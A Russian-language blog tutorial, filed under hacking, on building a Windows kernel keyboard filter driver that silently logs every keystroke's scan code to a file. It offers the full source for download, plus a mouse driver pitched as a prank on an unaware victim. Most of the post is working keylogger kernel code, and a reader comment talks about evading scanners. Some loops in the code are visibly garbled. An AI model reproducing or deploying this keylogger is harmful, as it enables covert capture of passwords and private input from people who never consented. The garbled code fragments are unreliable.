» Клавиатурный шпион. Игра переходит на новый уровень windows. Хакинг. . Блог программистов


Блог программистов






201130 Май

Клавиатурный шпион. Игра переходит на новый уровень

Приветствую тебя, читатель блога программистов! Появление на блоге статьей с периодом в полгода наверно стало уже традицией, притом очень плохой традицией, поэтому эту традицию надо срочно нарушать! В этой статье я снова возвращаюсь к теме клавиатурных шпионов, казалось бы, тема избита и размусолена до такой степени, что уже при одном только её упоминании начинает тошнить. Здесь очень трудно придумать что-то новое, но всё-таки есть ещё способ фильтрации или отслеживания нажатий клавиш на клавиатуре – это написание клавиатурного драйвера-фильтра. Притом драйвер будет не обычным, а с поддержкой технологии Plug&Play.

   Некоторые подумают драйвер это что-то очень сложное. Да, с одной стороны это сложно, но в принципе драйвер пишется также как и обычная программа, и компилироваться она может с помощью той же самой Visual Studio, с помощью которой вы компилируете обычные программы (разумеется, после настройки). Тем не менее, программирование в ядре системы очень сильно отличается от программирования обычных программ, в ядре системы Windows действуют другие правила и другие принципы. В этой статье я не буду рассказывать и разжевывать элементарные вещи, для этого есть куча статьей, например, туториал от Four-F, который можно найти на сайте WASM.RU. Далее я буду подразумевать, что читатель знает базовые принципы разработки драйверов для операционной системы Windows, а также знает как всю эту «ерунду» компилировать. (На вопросы типа: «как компилировать», «у меня не компилируется, что делать?» отвечать просто-напросто не буду, также я буду игнорировать все вопросы, возникшие из-за простого незнания основ)
   Так ладно, приступим к делу. Далее я расскажу, как фильтровать нажатия клавиш с помощью драйвера, который работает в ядре системы. Опишу наиболее правильный, легальный и документированный способ – установка фильтра на целый класс устройств (в нашем случае, клавиатур). Есть конечно ещё куча способов, некоторые менее правильные, некоторые менее полезны, описанный здесь способ наиболее простой и наиболее аппаратно-независим и переносим.
   Драйвер-фильтр одним из первых в системе узнаёт о нажатиях клавиш, он получает эту информацию от первоисточника, от драйвера клавиатуры, так сказать из первых рук. Драйвер-фильтр работает в ядре системы, у него больше прав, чем у самой привилегированной программы работающей в системе, что налагает на программиста гораздо больше ответственности в тех действиях, которые он делает в драйвере. Любое неправильное действие может привести к глюкам во всей системе и даже к BSOD.
   В операционной системе Windows все устройства делятся на классы, каждый класс задаётся своим GUID’ом (например, класс клавиатур имеет GUID {4D36E96B-E325-11CE-BFC1-08002BE10318}). Все классы их параметры задаются в разделе реестра HKLM\System\CurrentControlSet\Control\Class. Каждый класс представлен ключом с именем равным его GUID’у. Также у каждого класса имеется список подключей в котором находится описание каждого устройства в системе принадлежащего этому классу. У каждого класса имеется свой список драйверов верхнего уровня, этот список содержится в переменной с именем UpperFilters с типом REG_MULTI_SZ (в мультистроке). Так перечисляются имена драйверов, являющиеся фильтрами верхнего уровня для устройств этого класса, которые являются посредниками между собственно драйверами клавиатур и остальной системой. В этом списке находятся только имена драйверов. Само описание драйверов можно найти в ключе HKLM\System\CurrentControlSet\Services. Описание нужного драйвера будет находиться в подключе с тем именем, которое будет указано в переменной UpperFilters искомого класса. В переменной UpperFilters по-умолчанию находится только одно имя – kbdclass.
   Драйвер kbdclass является посредником между подсистемой ввода данных с кливиатуры и драйверами клавиатур. Драйвер kbdclass создаёт для каждой клавиатуры устройство с именем \Device\KeyboardClass, где N это порядковый номер клавиатуры. Например, для самой первой клавиатуры устройство будет иметь имя \Device\KeyboardClass0. Драйвер kbdclass предоставляет унифицированный метод взаимодействия подсистем с клавиатурами. Исходники драйвера kbdclass отрыты и их можно найти в комплекте WDK (или DDK). Наша задача написать драйвер чем-то похожий на kbdclass (вернее его наиболее упрощённую версию), это не так сложно как может показаться.
   Какой же принцип работы будет у нашего клавиатурного фильтра? Принцип очень прост: драйвер будет создавать устройство, которое будет прицеплять к устройству создаваемому драйвером клавиатуры, получая возможность пропускать через себя все запросы, посылаемые драйверу клавиатуры.
   Для начала надо понять что такое «прицепиться к устройству» (attach to device). Это один из фундаментальных механизмов позволяющий быть подсистеме ввода/вывода операционной системы Windows быть гибкой, универсальной и переносимой каковой она является. Присоединение к устройству осуществляется с помощью функций IoAttachDevice, IoAttachDeviceToDeviceStack, IoAttachDeviceToDeviceStackSafe. Функция IoAttachDevice принимает на вход имя искомого устройства и указатель на устройство, которое необходимо присоединить. Функция IoAttachDeviceToDeviceStack в отличие от IoAttachDevice принимает на вход не имя искомого устройства, а указатель на него, таким образом, позволяя присоединяться к безымянным устройствам. Функция IoAttachDeviceToDeviceStackSafe в отличие от функции IoAttachDeviceToDeviceStack перед присоединением блокирует всю подсистему ввода/вывода, защищая её от возможных коллизий. При этом функция IoAttachDevice является оболочкой вокруг IoAttachDeviceToDeviceStackSafe, а она в свою очередь является оболочкой вокруг IoAttachDeviceToDeviceStack.
   В структуре DEVICE_OBJECT с помощью, которой происходит описание объекта-устройства, есть поле под названием AttachedDevice, в которое заносится указатель на устройство которое было присоединено к нему. Если к искомому устройству пытаются присоединить более одного устройства, то присоединение происходит уже ко второму устройству. Таким образом, присоединить к некоторому устройству можно сколько угодно устройств. Согласно вышеописанной схеме, присоединение всегда происходит к самому последнему присоединённому устройству в стеке устройств. При отправке запроса к устройству происходит анализ поля AttachedDevice, если оно не равно нулю, то происходит посылка запроса к нему. При посылке запроса к присоединённому устройству происходит повторная проверка этого поля и так до тех пор, пока у очередного устройства оно не будет равно нулю.
   Все функции IoAttachDevice* принимают в качестве параметра указатель на переменную, куда будет сохранён указатель на устройство, к которому фактически произошло присоединение, именно ему и необходимо передавать все полученные запросы ввода/вывода. Таким образом, после присоединения к некоторому устройству мы гарантированно узнаем обо всех пакетах направленных к искомому устройству. Конкретно в нашем случае, если мы присоединимся к искомому устройству клавиатуры раньше всех, то устройство KeyboardClassN созданное драйвером kbdclass будет присоединено именно к нам, и все запросы, пришедшие от KeyboardClassN буду проходить через наше устройство. В другом случае если мы присоединимся к искомому устройству клавиатуры уже, после того как будет присоединено устройство KeyboardClassN, то мы присоединимся уже к устройству KeyboardClassN. В этом случае помимо того, что все запросы к искомому устройству созданному драйвером клавиатуры пройдут через наше устройство, мы получим ещё возможность предварительной фильтрации запросов посланных к устройству KeyboardClassN (ещё до того как KeyboardClassN узнает об их существовании). Тем не менее в нашем случае необходимо присоединение перед устройством KeyboardClassN, так как если присоединение произодёт можду KeyboardClassN и устрйоством клавиатуры, то мы не сможем профильтровать IRP-запрос IRP_MJ_READ, потому что драйвер kbdclass не посылает его вниз по стеку к устройству клавиатуры.
Как же мы присоединимся к устройствам созданным драйверами клавиатур? В этом то нам и поможет Plug&Play менеджер (далее PnP). Как только PnP менеджер находит новое устройство в системе принадлежащее, в нашем случае, классу клавиатур, то он вызывает функцию AddDevice драйвера. Как PnP менеджер находит эту функцию? В структуре DRIVER_OBJECT с помощью, которой описывается каждый объект-драйвер в системе, есть поле DriverExtension, которое указывает на структуру DRIVER_EXTENSION, которая хранит дополнительную информацию о драйвере. В структуре DRIVER_EXTENSION есть одно единственное поле под именем AddDevice, в которой и находится адрес функции, которую вызовет PnP менеджер. Есть конечно и другой вариант присоединения к стеку устройств клавиатуры, это присоединение сразу к устройству KeyboardClassN без мороки с PnP менеджером, этот вариант также эффективен, но менее гибок, вообще всегда в таких случаях рекомендуется использовать документированный вариант.
   Итак, мы разобрались, как будем присоединяться к устройствам созданным драйверами клавиатур. Теперь пока приступить к практике. Первое что надо написать – это функцию DriverEntry, которая является точкой входа в драйвер. В ней нам, надо установить указатели на все функции обработчики драйвера.


for (i = 0; i MajorFunction = DriverDispatchGeneral;
}

DriverObject->MajorFunction[IRP_MJ_READ] = keylogDispatchRead;

DriverObject->MajorFunction [IRP_MJ_POWER]  = keylogPower;
DriverObject->MajorFunction [IRP_MJ_PNP]  = keylogPnP;
DriverObject->DriverUnload = DriverUnload;
DriverObject->DriverExtension->AddDevice = keylogAddDevice;

return STATUS_SUCCESS;

Пойдём по порядку, функция keylogAddDevice вызывается PnP менеджером при обнаружении новой клавиатуры и передаёт ей указатель на устройство созданное драйвером клавиатуры. Вот собственно её полный код:


typedef struct _DEVICE_EXTENSION {
    PDEVICE_OBJECT  TopOfStack;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

NTSTATUS
keylogAddDevice(
    IN PDRIVER_OBJECT Driver,
    IN PDEVICE_OBJECT PDO)
{
    PDEVICE_EXTENSION   devExt;
    IO_ERROR_LOG_PACKET errorLogEntry;
    PDEVICE_OBJECT      device;
    NTSTATUS            status = STATUS_SUCCESS;
    // Create a filter device and attach it to the device stack.
    status = IoCreateDevice(Driver, sizeof(DEVICE_EXTENSION), 
                            NULL, FILE_DEVICE_KEYBOARD,   
                            0, FALSE, &device);

    if (!NT_SUCCESS(status)) return status;

    RtlZeroMemory(device->DeviceExtension, sizeof(DEVICE_EXTENSION));

    devExt = (PDEVICE_EXTENSION) device->DeviceExtension;
    devExt->TopOfStack = IoAttachDeviceToDeviceStack(device, PDO);

    device->Flags |= (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    device->Flags &= ~DO_DEVICE_INITIALIZING;
    return status;
}

Ничего особенно сложного в этой функции нет. Мы создаём устройство, указываем размер буфера для хранения дополнительной информации равным размеру структуры DEVICE_EXTENSION. После создания нового устройства мы присоединяем его к устройству указатель, на которое передан нам через параметр PDO. Указатель, полученный после вывоза функции IoAttachDeviceToDeviceStack, мы заносим в поле TopOfStack.
   Функция DriverDispatchGeneral это обычная заглушка, она просто передаёт запрос нижестоящему драйверу. Следующая функция, это функция keylogDispatchRead, которая будет вызвана при получении устройством запрос IRP_MJ_READ.

 
NTSTATUS 
keylogDispatchRead( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp )
{
    PDEVICE_EXTENSION   devExt;
    PIO_STACK_LOCATION  currentIrpStack;
    PIO_STACK_LOCATION  nextIrpStack;

    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
    nextIrpStack = IoGetNextIrpStackLocation(Irp);    

    *nextIrpStack = *currentIrpStack;
   
    IoSetCompletionRoutine( Irp, keylogReadComplete, 
                            DeviceObject, TRUE, TRUE, TRUE );

    return IoCallDriver( devExt->TopOfStack, Irp );
}

Работа этой функции не намного отличается от функции DriverDispatchGeneral. Отличие состоит в том что она устанавливает IoСompletion функцию для IRP, которая будет вызвана когда запрос будет выполнен. Нельзя забывать, что большинство все запросы в ядре Windows выполняются асинхронно и единственный способ узнать что запрос выполнился и получить его результат это установка IoСompletion функции. Именно на IoСompletion функцию возлагается для работа по логгированию нажатий на клавиши. Но сначала надо разобраться каким образом происходит получение информации о нажатиях клавиш.
   Некий поток в процессе CSRSS.EXE в бесконечном цикле запрашивает информацию о нажатиях клавиш от устройств KeyboardClassN. Запрос данных происходит посредством запроса IRP_MJ_READ. 99,99% таких запросов выполняются асинхронно, поэтому данные о нажатиях на клавиши можно узнать только в IoСompletion функции. Информация о нажатиях на кнопки передаётся с помощью массива структур KEYBOARD_INPUT_DATA.


typedef struct _KEYBOARD_INPUT_DATA {
  USHORT  UnitId;
  USHORT  MakeCode;
  USHORT  Flags;
  USHORT  Reserved;
  ULONG  ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;

В этой структуре полезны только два поля: MakeCode и Flags. Поле MakeCode содержит скан-код клавиши. Поле Flags может содержить следующие флаги:
KEY_MAKE – клавиша была нажата
KEY_BREAK – клавиша была отжата
KEY_E0 и KEY_E1 – нажатие произошло на специальные функциональные кнопки клавиатуры.
   После того как мы разобрались с форматом передаваемых данных, можно приступить к рассмотрению IoСompletion функции.


NTSTATUS keylogReadComplete( 
    IN PDEVICE_OBJECT DeviceObject, 
    IN PIRP Irp,
    IN PVOID Context)
{
    PKEYBOARD_INPUT_DATA      KeyData;
    LONG numKeys, i;

    if(NT_SUCCESS(Irp->IoStatus.Status)) 
    {
        KeyData = Irp->AssociatedIrp.SystemBuffer;
        numKeys = Irp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

        for( i = 0; i PendingReturned) IoMarkIrpPending( Irp );

    return Irp->IoStatus.Status;
}

Если выполнение запроса завершилось успешно (об этом нам говорит значение из Irp->IoStatus.Status), то мы приступаем к обработке результат запроса. Данные находятся в буфере, на который указывает поле Irp->AssociatedIrp.SystemBuffer. Размер данных содержащихся в буфере находится в Irp->IoStatus.Information. Чтобы получить количество структур в этом буфере надо разделить размер данных на размер одной структуры. После получения количества структур KEYBOARD_INPUT_DATA можно приступить к их обработке. Добавление данных в лог осуществляет функция AddDataToLog. Но перед тем как рассматривать функцию AddDataToLog, надо разобраться, как будет вестись лог. Лог будет находиться в памяти, память выделенная под лог будет размером 1 КБ, как только размер лога будет доходить до размера 1 КБ он будет сохраняться в файл. . Со способом ведения лога мы разобрались, теперь можно приступить к написанию функции AddDataToLog.


void AddDataToLog(USHORT ScanCode, USHORT Flags)
{
	KIRQL oldIrql;
			
	if (LogBuffer->Count < (LogBufferSize-sizeof(USHORT))/sizeof(USHORT))
	{
		KeAcquireSpinLock(&SyncSpin, &oldIrql);
		LogBuffer->Buffer[LogBuffer->Count] = ScanCode | (Flags<<8);
		++LogBuffer->Count;
		KeReleaseSpinLock(&SyncSpin, oldIrql);
	}	else
	{
		DbgPrint("Log buffer full\n");	
		KeAcquireSpinLock(&SyncSpin, &oldIrql);	
		LogCopyBuffer = (PKEYLOG_BUFFER) ExAllocatePool(NonPagedPool, LogBufferSize);
		if (LogCopyBuffer)
		{
			RtlCopyMemory(LogCopyBuffer, LogBuffer, LogBufferSize);
			KeSetEvent(&LogSaver_SyncEvent, 0, FALSE);
		}
		LogBuffer->Count = 0;
		KeReleaseSpinLock(&SyncSpin, oldIrql);		
	}
}

Главное что мы должны знать при написании этой функции – это то, что функция IoCompletion и следовательно функция AddDataToLog выполняется на DISPATCH_LEVEL. Функция вполне может выполняться и на более низкий уровнях, но тем не менее документация DDK говорит нам о том что мы должны исходить из того что эта функция будет выполняться на DISPATCH_LEVEL и в связи с этим на код налагаются некоторые ограничения. Ограничения в нашем случае состоят в следующем: мы не сможем работать с файловой подсистемой и не сможем использовать обычные объекты синхронизации для обновления лога (для создания критической секции кода). Но как же тогда сохранять лог в файл? Сохранять лог в файл будет специальный системный поток, который будет выполняться на уровне PASSIVE_LEVEL. Этот поток будет ждать установки в сигнальное состояние специального события, и как только это событие перейдёт в сигнальное состояние поток сохранит лог в файл.
   В первую очередь функция проверяет количество элементов в буфере. Если буфер заполнился, то происходит его сохранение, если нет, то копирует данные во вспомогательный буфер и устанавливает в сигнальное состояние событие, что сигнализирует поток о том, что он должен сохранить копию лога в файл.
   Функции KeAcquireSpinLock и KeReleaseSpinLock реализуют вход и выход из критической секции в ядре системы. Функция KeAcquireSpinLock подобно API функции EnterCriticalSection захватывает спин, если он уже захвачен, то ждёт, когда он будет освобождён и сразу после освобождения захватывает спин. После захвата спина функция KeAcquireSpinLock повышает текущий IRQL до DISPATCH_LEVEL, таким образом, код, находящийся между вызовами KeAcquireSpinLock и KeReleaseSpinLock не может быть прерванными любой другой DPC процедурой. В то время как обычные механизмы (с использованием семафоров, мьютексов, событий и др.) позволяют синхронизировать потоки только на уровне PASSIVE_LEVEL, механизм спин-блокировок позволяет синхронизировать потоки, работающие на уровнях меньших или равных DISPATCH_LEVEL. С помощью механизма спин-блокировок мы решаем задачу синхронизации доступа к логу – в некоторый момент времени с логом может работать только один поток и только один процессор.
После копирования и уведомления потока, отвечающего за сохранение лога, функция обнуляет счетчик, отвечающий за текущее количество символов в логе.
   Поточная функция в цикле ждёт установки в сигнальное состояние двух событий: события отвечающего за сохранение данных в лог и события сигнализирующего о том, что драйвер должен быть выгружен. Во втором случае поток должен завершиться. Далее приведён код поточной функции.


void LogSaver(PVOID Context)
{
     NTSTATUS status;
     PVOID WObj[2];
     UNICODE_STRING FileName;

     //DbgPrint("LogSaver started!\n");
    WObj[0] = &LogSaver_SyncEvent;
    WObj[1] = &LogSaver_TermEvent;
    RtlInitUnicodeString(&FileName, LogFileName);
    
    while (1)
    {
	status = KeWaitForMultipleObjects (2, WObj, WaitAny, Executive, 
    									   KernelMode, FALSE, NULL, NULL);
    	if (status== STATUS_WAIT_1) PsTerminateSystemThread(STATUS_SUCCESS);
	if (!NT_SUCCESS(status)) PsTerminateSystemThread(status);
		
	AppdendDataToFile(&FileName, &LogCopyBuffer->Buffer, LogBufferSize-sizeof(USHORT));
	ExFreePool(LogCopyBuffer);
	KeResetEvent(&LogSaver_SyncEvent);	
      }
}

Код функции отвечающей за сохранение (верее добавление) данных в лог, я приводить здесь не буду, ибо она тривиальна.
   Теперь необходимо инициализировать события запустить поток. Делается это в функции DriverEntry.


KeInitializeSpinLock(&SyncSpin);
LogBuffer = (PKEYLOG_BUFFER) ExAllocatePool(NonPagedPool, LogBufferSize);
if (!LogBuffer) return STATUS_NO_MEMORY;
    
LogBuffer->Count = 0;    
    
KeInitializeEvent(&LogSaver_SyncEvent, NotificationEvent, FALSE);    
KeInitializeEvent(&LogSaver_TermEvent, NotificationEvent, FALSE);  
status = PsCreateSystemThread(&LogSaverThreadHandle, THREAD_ALL_ACCESS, 0, 0, 0, &LogSaver, 0);
if (!NT_SUCCESS(status)) 
{
	ExFreePool(LogBuffer);
	return status;
}

   В функции DriverUnload надо установить событие LogSaver_TermEvent в сигнальное состояние и подождать когда поток завершится.


void DriverUnload(IN PDRIVER_OBJECT Driver)
{
    UNREFERENCED_PARAMETER(Driver);
    KeSetEvent(&LogSaver_TermEvent, 0, FALSE); 
    ZwWaitForSingleObject(LogSaverThreadHandle, FALSE, NULL);
    ExFreePool(LogBuffer);
}

   После того как присоединили наше устройство к стеку устройств, удалить его можно будет только после того как будет удалено искомое устройство. Для правильного удаления фильтрующего устройства мы должны обработать запрос IRP_MJ_PNP с кодом IRP_MN_REMOVE_DEVICE. В этом случае мы должны отсоединить наше устройство от стека и удалить его, так как оно нам уже не нужно. Далее приведён код обработчика запросов IRP_MJ_PNP.


NTSTATUS keylogPnP(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp)
{
    PDEVICE_EXTENSION           devExt; 
    PIO_STACK_LOCATION          irpStack;
    NTSTATUS                    status = STATUS_SUCCESS;
    KIRQL                       oldIrql;
    KEVENT                      event;        

    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    irpStack = IoGetCurrentIrpStackLocation(Irp);

    switch (irpStack->MinorFunction) {
    case IRP_MN_REMOVE_DEVICE:

        IoSkipCurrentIrpStackLocation(Irp);
        IoCallDriver(devExt->TopOfStack, Irp);

        IoDetachDevice(devExt->TopOfStack); 
        IoDeleteDevice(DeviceObject);

        status = STATUS_SUCCESS;
        break;

    case IRP_MN_SURPRISE_REMOVAL:

        IoSkipCurrentIrpStackLocation(Irp);
        status = IoCallDriver(devExt->TopOfStack, Irp);
        break;

    case IRP_MN_START_DEVICE: 
    case IRP_MN_QUERY_REMOVE_DEVICE:
    case IRP_MN_QUERY_STOP_DEVICE:
    case IRP_MN_CANCEL_REMOVE_DEVICE:
    case IRP_MN_CANCEL_STOP_DEVICE:
    case IRP_MN_FILTER_RESOURCE_REQUIREMENTS: 
    case IRP_MN_STOP_DEVICE:
    case IRP_MN_QUERY_DEVICE_RELATIONS:
    case IRP_MN_QUERY_INTERFACE:
    case IRP_MN_QUERY_CAPABILITIES:
    case IRP_MN_QUERY_DEVICE_TEXT:
    case IRP_MN_QUERY_RESOURCES:
    case IRP_MN_QUERY_RESOURCE_REQUIREMENTS:
    case IRP_MN_READ_CONFIG:
    case IRP_MN_WRITE_CONFIG:
    case IRP_MN_EJECT:
    case IRP_MN_SET_LOCK:
    case IRP_MN_QUERY_ID:
    case IRP_MN_QUERY_PNP_DEVICE_STATE:
    default:
        IoSkipCurrentIrpStackLocation(Irp);
        status = IoCallDriver(devExt->TopOfStack, Irp);
        break;
    }

    return status;
}

Последней штрихом в нашем драйвере, будет обработка запроса IRP_MJ_POWER, его обработка должна быть немного другой, чем обработка обычного запроса.


NTSTATUS keylogPower(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp)
{
    PDEVICE_EXTENSION   devExt;
    
    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    PoStartNextPowerIrp(Irp); 
    IoSkipCurrentIrpStackLocation(Irp);
    
    return PoCallDriver( devExt->TopOfStack, Irp );
}

Требование в пересылке запросов IRP_MJ_POWER с помощью функции PoCallDriver связана с необходимостью в синхронизации выполнения запросов IRP_MJ_POWER на всей системе в целом. Начиная с Windows Vista использование функции PoCallDriver для пересылки запросов IRP_MJ_POWER уже не является обязательным.
   Наблюдательный человек сразу заметит, что в драйвере есть пара недочётов, например, при выгрузке драйвера в файл не будет сохранён лог, который находится в памяти, возлагаю решение этой задачи на вас.
   По большому счёту писать драйвер-фильтр для логгирования нажатий клавиш работа немного бестолковая. В драйвере-фильтре сложнее определить в какое-окно вводится текст и в какое приложение будет отправлено сообщение. Драйвер-фильтр намного полезен для других целей, например для глобального переназначения клавиш, для возможности отлова некоторых кнопок которые нельзя отловить в обычной программе (например, кнопку Print Screen), для создания своей собственной супер-комбинации клавиш состоящей из 4-5 кнопок (например, при одновременном нажатии кнопок F1-F5 имитировать нажатие на кнопку Enter).
   Аналогичным образом происходит фильтрация данных получаемых от мыши, в этом случае при установке драйвера необходимо указать GUID класса устройств типа мышь — {4D36E96F-E325-11CE-BFC1-08002BE10318}.
   Итак, мы написали драйвер-фильтр, который сохраняет в файл C:\Windows\keylog.data скан-коды клавиш. Но скан-код сам по себе это просто некоторый код, он не обозначает ни виртуальный код, ни код введённого символа. Скан-код обретает свой смысл только после того как будет известна, какая раскладка была включена. Как конвертировать скан-коды в виртуальные коды или символы я расскажу в следующей своей статье, а на сегодня хватит того материала, который я уже изложил.
   Как установить драйвер, который мы написали? Есть два способа: вручную прописать его в реестре или с помощью INF-файла. Между двумя этими способами нет особо большой разницы, выбирайте сами. Я предпочитаю устанавливать драйверы с помощью INF-файла.
   Скачать драйвер keylog и его полный исходный код.
   Драйвер remapkey осуществляет переназначение клавиши Print Screen на клавишу Enter, когда драйвер активен невозможно сделать скриншот экрана с помощью кнопки Print Scrn. (комбинация Alt+ остаётся рабочей) Скачать драйвер remapkey.
   Драйвер mousinv меняет местами X и Y координату указателя, в итоге получается довольно-таки интересный эффект. Идеален для приколов над кем-нибудь, если не знать что чём причина, то может показаться что единственный способ устранения проблемы это переустановка системы. Скачать драйвер mousinv.
Примеры проверены под WIn XP SP3 и Windows 7. Компилируются с помощью программы build (из DDK)

Комментарии

  1. glong
    29 августа, 2011 | 01:53

    После запуска драйвера срабатывает функция LogSaver и сразу же выполняется функция DriverUnload, видимо из-за какой-либо ошибки в LogSaver’е… пока еще не разобрался почему…!

  2. rpy3uH
    31 августа, 2011 | 08:25

    в случае ошибки в LogSaver’е будет BSOD

  3. glong
    31 августа, 2011 | 14:45

    Запускал под Win 7 32 бит, BSOD не наблюдается, просто, как и писал в пред.сообщении, драйвер выгружается, причем, судя по всему, выгружается корректно…

  4. rpy3uH
    20 апреля, 2012 | 14:55

    значит какая-то функция в LogSaver завершается неудачей, смотрите в отладчик. сразу всё станет понятно

  5. 12 ноября, 2012 | 10:01

    По этой схеме любой активный сканер хуки перехватит. Обертку делать нужно и в машинных кодах — а это на ассемблеры переезжать.

  6. 9 июля, 2013 | 16:24